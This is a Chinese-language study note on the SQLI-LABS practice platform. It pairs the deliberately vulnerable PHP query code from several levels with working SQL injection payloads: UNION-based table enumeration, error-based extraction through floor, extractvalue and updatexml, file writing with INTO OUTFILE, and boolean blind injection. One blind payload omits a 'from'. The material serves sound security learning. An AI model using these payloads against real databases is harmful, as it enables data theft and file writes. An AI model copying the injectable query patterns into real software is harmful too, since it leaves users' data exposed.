SQLI-LABS 是一个专业的SQL注入练习平台,用于学习SQL注入的各种姿势及原理。
下面的测试场景都支持GET和POST两种注入方式
logic:
if correct:
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
if error:
print_r(mysql_error());
payload
?id=") union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
$id=$_GET['id'];
id=1' -> ''1'' LIMIT 0,1' at line 1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
LIMIT 显示表中的第m到n项,这里表示从0开始,取出1项
$id=$_GET['id'];
id=1' -> '' LIMIT 0,1' at line 1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$id=$_GET['id'];
id=1' -> ''1'') LIMIT 0,1' at line 1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
id=1’
id=1” -> near ‘“1”“) LIMIT 0,1’ at line 1
?id=") union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
logic:
if correct:
echo 'You are in...........';
if error:
print_r(mysql_error());
payload:
1.floor
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); --+
2.ExtractValue
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); --+
3.UpdateXml
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) --+
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
id=1' -> near ''1'' LIMIT 0,1' at line 1
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1" and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
logic:
if correct:
echo 'You are in.... Use outfile......';
if error:
echo 'You have an error in your SQL syntax';
payload:
?id=2")) union select 1,2,3 into outfile "(此处要有权限的绝对路径)union2.txt" --+
error:
'union2.txt' already exists
'/union2.txt' (Errcode: 13 - Permission denied)
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
我们从枚举开始,尝试截断查询。
注入了一些查询后,会发现我们并没有在屏幕上看到错误信息。因此我们不能确定在这个网页上是否存在注入。这也是为什么这种类型的注入叫做盲注。通常有两种类型盲注,基于布尔的和基于时间的注入。
logic:
if input correct:
echo 'You are in...........';
if error:
no output
function:
database() substr() ascii()
payload:
and (ascii(substr((select table_name information_schema.tables where table_schema=database()limit 0,1) ,1,1)) = 101 --+
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";